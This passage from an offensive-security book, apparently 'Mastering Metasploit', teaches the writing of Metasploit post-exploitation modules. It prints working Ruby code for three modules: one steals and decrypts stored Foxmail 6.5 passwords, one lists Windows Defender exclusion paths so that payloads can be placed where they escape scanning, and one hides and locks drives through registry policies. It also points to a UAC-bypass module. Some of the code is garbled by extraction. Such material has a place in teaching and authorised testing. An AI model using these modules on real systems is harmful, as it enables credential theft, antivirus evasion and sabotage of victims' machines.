Mastering Metasploit
上QQ阅读APP看书,第一时间看更新

Developing post-exploitation modules

The post-exploitation phase begins as soon as we acquire an initial foothold on the target machine. Metasploit contains many post-exploitation modules that can serve as an excellent reference guide while building our own. In the upcoming sections, we will build various types of post-exploitation modules covering a variety of different methods supported by Metasploit.

The Credential Harvester module

In this example module, we will attack Foxmail 6.5. We will try decrypting the credentials and storing them in the database. Let's see the code:

class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File

include Msf::Auxiliary::Report

include Msf::Post::Windows::UserProfiles

def initialize(info={})

super(update_info(info,

'Name' => 'FoxMail 6.5 Credential Harvester',

'Description' => %q{

This Module Finds and Decrypts Stored Foxmail 6.5 Credentials

},

'License' => MSF_LICENSE,

'Author' => ['Nipun Jaswal'],

'Platform' => [ 'win' ],

'SessionTypes' => [ 'meterpreter' ]

))

end

Quite simply, as we saw in the previous module, we start by including all the required libraries and providing the necessary information about the module.

We have already seen the usage of Msf::Post::Windows::Registry and Msf::Auxiliary::Report. Let's look at the details of the new libraries we included in this module, as follows:

Before understanding the next part of the module, let's see what we need to perform to harvest the credentials.

We will search for user profiles and find the exact path for the current user's LocalAppData directory:

  1. We will use the previously found path and concatenate it with \VirtualStore\Program Files (x86)\Foxmail\mail to establish a complete path to the mail directory.
  2. We will list all the directories from the mail directory and will store them in an array. However, the directory names in the mail directory will use the naming convention of the username for various mail providers. For example, whatever@gmail.com would be one of the directories present in the mail directory.
  3. Next, we will find the Account.stg file in the accounts directories found under the mail directory.
  4. We will read the Account.stg file and will find the hash value for the constant named POP3Password.
  5. We will pass the hash value to our decryption method, which will find the password in plain text.
  6. We will store the value in the database.

Quite simple! Let's analyze the code:

def run

profile = grab_user_profiles() counter = 0

data_entry = "" profile.each do |user| if user['LocalAppData']

full_path = user['LocalAppData']

full_path = full_path+"\VirtualStore\Program Files (x86)\Foxmail\mail"

if directory?(full_path)

print_good("Fox Mail Installed, Enumerating Mail Accounts") session.fs.dir.foreach(full_path) do |dir_list|

if dir_list =~ /@/ counter=counter+1

full_path_mail = full_path+ "\" + dir_list + "\" + "Account.stg" if file?(full_path_mail)

print_good("Reading Mail Account #{counter}") file_content = read_file(full_path_mail).split("n")

Before starting to understand the previous code, let's see what important functions are used in it, for a better approach toward its usage:

We can see in the preceding code that we grabbed the profiles using grab_user_profiles() and, for each profile, we tried finding the LocalAppData directory. As soon as we found it, we stored it in a variable called full_path.

Next, we concatenated the path to the mail folder where all the accounts are listed as directories. We checked the path existence using directory? and, on success, we copied all the directory names that contained @ in the name to dir_list using the regex match. Next, we created another variable called full_path_mail and stored the exact path to the Account.stg file for each email. We made sure that the Account.stg file existed by using file?. On success, we read the file and split all the contents at newline. We stored the split content into the file_content list. Let's see the next part of the code:

file_content.each do |hash| if hash =~ /POP3Password/ hash_data = hash.split("=") hash_value = hash_data[1] if hash_value.nil?

print_error("No Saved Password") else

print_good("Decrypting Password for mail account: #{dir_list}") decrypted_pass = decrypt(hash_value,dir_list)

data_entry << "Username:" +dir_list + "t" + "Password:" + decrypted_pass+"n"

end

end

end

end

end

end

end

end

end

store_loot("Foxmail Accounts","text/plain",session,data_entry,"Fox.txt","Fox Mail Accounts")

end

For each entry in file_content, we ran a check to find the constant POP3Password. Once found, we split the constant at = and stored the value of the constant in a variable, hash_value.

Next, we directly pass hash_value and dir_list (account name) to the decrypt function. After successful decryption, the plain password gets stored in the decrypted_pass variable. We create another variable called data_entry and append all the credentials to it. We do this because we don't know how many email accounts might be configured on the target. Therefore, for each result, the credentials get appended to data_entry. After all the operations are complete, we store the data_entry variable in the database using the store_loot method. We supply six arguments to the store_loot method, which are named for the harvest, its content type, session, data_entry, the name of the file, and the description of the harvest.

Let's understand the decrypt function, as follows:

def decrypt(hash_real,dir_list)

decoded = ""

magic = Array[126, 100, 114, 97, 71,

fc0 = 90

size = (hash_real.length)/2 - 1

index = 0

b = Array.new(size)

for i in 0 .. size do

b[i] = (hash_real[index,2]).hex

index = index+2

end

b[0] = b[0] ^ fc0

double_magic = magic+magic

d = Array.new(b.length-1)

for i in 1 .. b.length-1 do

d[i-1] = b[i] ^ double_magic[i-1]

end

e = Array.new(d.length)

for i in 0 .. d.length-1

if (d[i] - b[i] < 0)

e[i] = d[i] + 255 - b[i]

else

e[i] = d[i] - b[i]

end

decoded << e[i].chr

end

print_good("Found Username #{dir_list} with Password: #{decoded}") return decoded

end end

In the previous method, we received two arguments, which were the hashed password and username. The magic variable is the decryption key stored in an array containing decimal values for the ~draGon~ string, one after the other. We store the integer 90 as fc0, which we will talk about a bit later.

Next, we find the size of the hash by dividing it by two and subtracting one from it. This will be the size of our new array, b.

In the next step, we split the hash into bytes (two characters each) and store it in array b. We perform XOR on the first byte of array b, with fc0 in the first byte of b itself, thus updating the value of b[0] by performing the XOR operation on it with 90. This is fixed for Foxmail 6.5.

Now, we copy the magic array twice into a new array, double_magic. We also declare the size of double_magic as one less than that of array b. We perform XOR on all the elements of array b and the double_magic array, except the first element of b, on which we already performed the XOR operation.

We store the result of the XOR operation in array d. We subtract the complete array d from array b in the next instruction. However, if the value is less than 0 for a particular subtraction operation, we add 255 to the element of array d.

In the next step, we simply append the ASCII value of the particular element from the resultant array e into the decoded variable and return it to the calling statement.

Let's see what happens when we run this module:

Figure 2.18 – Running the Foxmail decryption module

It is clear that we easily decrypted the credentials stored in Foxmail 6.5. Additionally, since we used the store_loot command, we can see the saved credentials in the .msf/loot directory as follows:

Figure 2.19 – Finding loot in the .msf4/loot directory

Let's build a simple yet powerful utility for Windows in the next section based on the knowledge gained from working on all the previously discussed modules.

The Windows Defender exception harvester

Microsoft Windows Defender is one of the primary defences for Windows-based operating systems if an additional antivirus is not present. Knowledge of the directories, files, and paths in the trusted list / exception lists are handy when we need to download a second-stage executable or a larger payload. Let's build a simple module that will enumerate the list of exception types and find all their subsequent values, which are nothing but entries denoting paths and files. So, let's get started:

def run()

    win_defender_trust_registry = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"

    win_defender_trust_types = registry_enumkeys(win_defender_trust_registry)

    win_defender_trust_types.each do |trust|

    trustlist = registry_enumvals("#{win_defender_trust_registry}\\#{trust}")

    if trustlist.length > 0

        print_status("Trust List Have entries in  #{trust}")

        trustlist.each do |value|

        print_good("\t#{value}")

    end

    end

    end

  end

end

A module, as discussed previously, starts with common headers and information; we have covered this enough, so here, we will move on to the run function, which is launched over the target. The win_defender_trust_registry variable stores the value of the registry key containing the exception types, which we fetch through the registry_enumkeys function. We simply move on and fetch values for each of the exception types and print them on the screen after checking their length, which must be greater than zero. This is a short and sweet module with simple code, but the information we get is quite significant. Let's run the module on a compromised system and check the output:

Figure 2.20 – Running the Windows Defender exception finder module against Windows 7

We can see that we have a trusted path, which is the Downloads folder of the user Apex in the exception list. This means any malware planted in this particular directory won't be scanned by the Windows Defender antivirus. Let's notch up to a little advanced module in the next section.

The drive-disabler module

As we have now seen the basics of module building, we can go a step further and try to build a post-exploitation module. A point to remember here is that we can only run a post-exploitation module after a target has been compromised successfully.

So, let's begin with a simple drive-disabler module, which will disable the selected drive at the target system, which is the Windows 7 OS. Let's see the code for the module, as follows:

require 'rex'

require 'msf/core/post/windows/registry'

class MetasploitModule < Msf::Post

  include Msf::Post::Windows::Registry

  def initialize

    super(

        'Name'          => 'Drive Disabler',

        'Description'   => 'This Modules Hides and Restrict Access to a Drive',

        'License'       => MSF_LICENSE,

        'Author'        => 'Nipun Jaswal'

      )

    register_options(

      [

        OptString.new('DriveName', [ true, 'Please SET the Drive Letter' ])

      ])

  end

We started in the same way as we did in the previous modules. We added the path to all the required libraries we needed for this post-exploitation module. Let's see any new inclusions and their usage in the following table:

Next, we define the type of module as Post for post-exploitation. Proceeding with the code, we describe the necessary information for the module in the initialize method. We can always define register_options to define our custom options to use with the module. Here, we describe DriveName as a string data type using OptString.new. The definition of a new option requires two parameters that are required and a description. We set the value of required to true because we need a drive letter to initiate the hiding and disabling process. Hence, setting it to true won't allow the module to run unless a value is assigned to it. Next, we define the description of the newly added DriveName option.

Before proceeding to the next part of the code, let's see what important functions we are going to use in this module:

Let's see the remaining part of the module:

def run

drive_int = drive_string(datastore['DriveName']) key1="HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"

exists = meterpreter_registry_key_exist?(key1)

if not exists

print_error("Key Doesn't Exist, Creating Key!") registry_createkey(key1)

print_good("Hiding Drive") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD', REGISTRY_VIEW_NATIVE)

print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D WORD',REGISTRY_VIEW_NATIVE)

else

print_good("Key Exist, Skipping and Creating Values") print_good("Hiding Drive")

meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD', REGISTRY_VIEW_NATIVE)

print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D WORD',REGISTRY_VIEW_NATIVE)

end

print_good("Disabled #{datastore['DriveName']} Drive")

end

We generally run a post-exploitation module using the run method. So, defining run, we send the DriveName variable to the drive_string method to get the numeric value for the drive.

We created a variable called key1 and stored the path of the registry in it. We will use meterpreter_registry_key_exist to check whether the key already exists in the system or not. If the key exists, the value of the exists variable is assigned true or false. If the value of the exists variable is false, we create the key using registry_createkey(key1) and then proceed to create the values. However, if the condition is true, we simply create values.

To hide drives and restrict access, we need to create two registry values, which are NoDrives and NoViewOnDrive, with the value of the drive letter in decimal or hexadecimal form, and its type as DWORD.

We can do this using meterpreter_registry_setvaldata since we are using the Meterpreter shell. We need to supply five parameters to the meterpreter_registry_setvaldata function to ensure its proper functioning. These parameters are the key path as a string, the name of the registry value as a string, the decimal value of the drive letter as a string, the type of registry value as a string, and the view as an integer value, which would be 0 for native, 1 for 32-bit view, and 2 for 64-bit view.

An example of meterpreter_registry_setvaldata can be broken down as follows:

meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D WORD',REGISTRY_VIEW_NATIVE)

In the preceding code, we set the path as key1, the value as NoViewOnDrives, 16 as a decimal for drive D, REG_DWORD as the type of registry, and REGISTRY_VIEW_NATIVE, which supplies 0.

For 32-bit registry access, we need to provide 1 as the view parameter, and for 64-bit, we need to supply 2. However, this can be done using REGISTRY_VIEW_32_BIT and REGISTRY_VIEW_64_BIT, respectively.

You might be wondering how we knew that for drive E we need to have the value of the bitmask as 16? Let's see how the bitmask can be calculated in the following section.

To calculate the bitmask for a particular drive, we have the formula 2^([drive character serial number]-1). Suppose we need to disable drive E. We know that character E is the fifth character in the alphabet. Therefore, we can calculate the exact bitmask value for disabling drive E, as follows:

2^ (5-1) = 2^4= 16

The bitmask value is 16 for disabling the E drive. However, in the introductory module, we hardcoded a few values in the drive_string method using the case switch. Let's see how we did that:

def drive_string(drive)

case drive

when "A" return 1

when "B" return 2

when "C" return 4

when "D" return 8

when "E" return 16

end

end

end

We can see that the previous method takes a drive letter as an argument and returns its corresponding numeral to the calling function. Let see how many drives there are on the target system:

Figure 2.21 – Viewing the available drives on the target machine

We can see we have three drives: drive C, drive D, and drive E. Let's also check the registry entries where we will be writing the new keys with our module:

Figure 2.22 – Checking the existence of registry keys

We can see we don't have an explorer key yet. Let's run the module, as follows:

Figure 2.23 – Running the drive disabling module

We can see that the key doesn't exist and, according to the execution of our module, it should have written the keys in the registry. Let's check the registry once again:

Figure 2.24 – Rechecking the existence of registry keys

We can see we have the keys present. Upon logging out and logging back in to the system, drive E should have disappeared. Let's check:

Figure 2.25 – Viewing the drives on the target demonstrating the E drive as hidden

No signs of drive E. Hence, we successfully disabled drive E from the user's view, and restricted access to it.

We can create as many post-exploitation modules as we want according to our needs. I recommend you put some extra time toward the libraries of Metasploit.

Make sure that you have SYSTEM-level access for the preceding script to work, as SYSTEM privileges will not create the registry under the current user, but will create it on the local machine. In addition to this, we have used HKLM instead of writing HKEY_LOCAL_MACHINE, because of the inbuilt normalization that will automatically create the full form of the key. I recommend that you check the registry.rb file to see the various available methods. Let's now use RailGun for post-exploitation within Metasploit and see how we can take advantage of features from the target that may not be present using Metasploit in the next section.

Tip

If you don't have system privileges, try using the exploit/windows/local/bypassuac module and switch to the escalated shell, and then try the preceding module.